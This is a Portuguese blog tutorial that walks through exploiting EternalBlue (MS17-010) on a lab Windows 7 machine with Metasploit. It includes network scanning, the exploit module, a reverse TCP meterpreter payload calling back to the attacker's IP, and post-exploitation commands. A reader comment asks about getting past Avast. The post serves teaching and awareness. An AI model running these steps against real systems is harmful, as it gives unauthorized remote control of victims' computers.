[InfoSec] Invadindo o Windows usando o Metasploit – Bruno Izidório
Um blog sobre TI: Tudo Incluso
SELinux: Saindo do Disable e indo para Enforcing 24 de agosto de 2020
[InfoSec] Lista de Ferramentas para Busca de Vulnerabilidades 30 de agosto de 2019
[InfoSec] Ethical Hacking com RasPwn Os + Ataques XSS 17 de junho de 2019
[Linux] Instalando Autopsy 4.10 no Debian 9 1 de maio de 2019
[InfoSec] Invadindo o Windows usando o Metasploit 12 de dezembro de 2018
[Forense] Analisando arquivos com "Binwalk" 1 de novembro de 2018
[Bacula] Servidor de Backup com Bacula no CentOs 7 1 de fevereiro de 2018
[Linux] Adicionando um Linux em um Domínio Samba 15 de outubro de 2017
[OTRS] Atualização do OTRS da versão 4 para a versão 5 24 de agosto de 2017
[PfSense] Limpar cache do Squid no PfSense 2.3.x 18 de agosto de 2017
Jeremias em [Redes] Exercício de Sub-redes em IPv4
Leandro Pereira em [Script] Listar usuários e suas cotas no Zimbra
ALGUÉM em [InfoSec] Invadindo o Windows usando o Metasploit
Bruno Izidório em [Linux] Adicionando um Linux em um Domínio Samba
Blog do Verissimo
Com fio… estruturado
Empregos.tk
[InfoSec] Invadindo o Windows usando o Metasploit
12 de dezembro de 2018 por Bruno Izidório·3 Comentários
O Metasploit Framework é uma ferramenta para desenvolvimento de Exploits com Payloads com o intuito de explorar vulnerabilidades! Simples! Não? Ok! Vamos por partes…
Framework: Você vai achar muitas definições de framework na internet, mas no nosso caso pode ser definido como um conjunto de ferramentas agrupadas em uma mesma solução. A ideia do framework é evitar retrabalhos ou utilização desnecessárias de uma mesma ferramenta ou código em um mesmo projeto. Sempre você vai ver um framework que vai te ajudar a automatizar trabalhos desnecessários ou mesmo aproveitamento de trabalhos já realizados. Resumindo: o Framework vai te ajudar a gerenciar melhor o seu trabalho.
Exploits: É por onde o ataque tem início, pois pode ser um código malicioso ou um software que utiliza-se de uma vulnerabilidade para atacar o sistema como um todo ou parte dele, assim abrindo caminho para a injeção de outro código, o Payload. Há 2 tipos de Exploits: Conhecidos e Desconhecidos (mais conhecidos por 0-day)
Payloads: Após o Exploit "abrir caminho" explorando uma falha ou vulnerabilidade, é executado um código que tem como função comprometer o sistema. O Payload que fará a transmissão de dados e a parte nociva já depois do sistema ter sido comprometido pela vulnerabilidade utilizando o Exploit.
Vulnerabilidade: é uma condição que quando explorada por um atacante pode resultar em uma violação de segurança.
Explicando o Cenário
Agora que a ferramenta foi explicada na teoria, podemos passar para a parte prática!
Nesse cenário há duas máquinas: Parrot Linux 4.4 64 bits (Atacante) e Windows 7 SP1 64bits (Vítima).
A Rede que estou usando é a 172.16.205.0/24
Como estou utilizando o Parrot 4.4, a ferramenta já vem instalada. No Kali Linux, também vem instalada. Caso queira instalar em alguma distribuição que não venha instalada, fazer o download na página oficial: https://www.metasploit.com/
Vou utilizar a vulnerabilidade reportada como MS17-010 (https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/MS17-010) popularmente conhecida como EternalBlue. A falha acontece no protocolo SMBv1, que é utilizado para a troca de arquivos pela rede. Essa vulnerabilidade ficou famosa, pois foi utilizada para espalhar os ransomwares WannaCry, Petya/NotPetya, e Bad Rabbit.
Inicialmente, vamos iniciar o nosso banco de dados postgres para que esse possa se integrar ao Metasploit.
Depois vamos iniciar o Metasploit
Vamos verificar o status da conexão com o banco de dados.
Caso retorne esse erro: "postgresql selected, no connection"…
Ou ao iniciar, apareça erros ao conectar ao banco de dados:
exit (Sair do metasploit)
su postgres (Acessar o usuário postgres e tem que estar como root para poder mudar de usuário)
createuser root -P (Criar o usuário root e definir uma senha para ele)
createdb --owner=root msf_database (Criar uma entrada no banco de dados)
exit (Sair do usuário postgres)
msfconsole (Entrar no metasploit novamente)
db_connect root:senha_que_voce_definiu@127.0.0.1:5434/msf_database
Caso não funcione na porta 5434, olhe se a porta do postgres não é a 5432
Depois só conferir:
Caso queira fazer uma busca genérica usando o módulo Nmap que há no Metasploit, assim adicionando as informações do hosts no banco de dados:
db_nmap -A 172.16.205.0/24
Para ver os hosts que foram localizados com essa busca, basta digitar:
Buscando uma vítima
Como o post é direcionado para a falha EternalBlue, vamos procurar o módulo auxilar para realizar a busca na rede:
search smb_ms17_010
Vamos selecionar o módulo que apareceu:
Após isso, vamos ver as suas opções:
No nosso caso, precisamos colocar o Range de IP que vamos scannear
set RHOSTS 172.16.205.0/24
Vamos aumentar as threads para agilizar o scan
set threads 100
Depois de tudo configurado, agora é executar:
run ou exploit
Preparando o Exploit
Dentre o range selecionado, irá ser exibido as máquinas vulneráveis ao EternalBlue. Depois do alvo localizado, vamos iniciar o ataque.
Vamos buscar o exploit da falha EternalBlue
search ms17_010_eternalblue
Aparecem duas opções, mas vamos utilizar a primeira opção, pois a segunda é para Windows 8
Assim como o scanner, vamos ver as opções:
Como sabemos qual máquina é vulnerável a esse ataque, vamos colocar o IP dela no Exploit:
set rhost 172.16.205.129
Selecionando o Payload
Depois, vamos selecionar qual Payload vamos utilizar nesse Exploit. Nesse caso, mandei exibir todos os que são compatíveis com o Exploit:
Para esse exemplo, vamos usar o meterpreter com conexão TCP Reversa
Como a conexão será reversa, ou seja, a vítima que vai se comunicar com o atacante, devemos informar qual IP será conectado de volta.
set lhost 172.16.205.1
Vamos verificar se não está faltando nenhuma opção no Exploit ou no Payload:
Como está tudo certo, vamos executar:
Acessando a Máquina da Vítima
Após isso, a conexão com o Windows já está ativa. Agora é só utilizar as ferramentas do meterpreter. Para listar todas basta digitar help. Mas como falar sobre todas as ferramentas não é o tema de post, vamos ver algumas:
Exibir informações do computador:
Exibir em qual usuário está sendo executado no Windows
Ter acesso ao Shell
O comando PS exibe todas os processos na máquina da vítima.
Também é possível executar comandos do windows sem entrar no modo shell, usando o comando execute:
O intuito desse post é mostrar como um sistema com a configuração padrão, sem um bom sistema de proteção como antivirus, firewall e/ou antimalware, pode se tornar um alvo fácil. Note que em momento algum foi solicitado qualquer intervenção do usuário do computador Windows. Isso também mostra o perigo de se conectar a redes públicas/abertas.
Este artigo tem a finalidade meramente acadêmica. Os autores desse artigo, e de qualquer outro artigo deste site, não se responsabilizam por qualquer atividade relacionada a esse material sendo executadas por qualquer pessoa. O uso indevido dessas informações podem resultar em acusações criminais interpostas contra as pessoas em questão.
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue
Ao Som de: Metallica – One
Anterior Post anterior: [Forense] Analisando arquivos com "Binwalk"
Seguinte Próximo post: [Linux] Instalando Autopsy 4.10 no Debian 9
ApenasALGUEM disse:
Achei incrivel mesmo essa conexão! Porem… Se o ALvo tiver AntiVIRUS Avast INFELIZMENTE ja era… nao tem oque fazer! NAo consegui achar solução!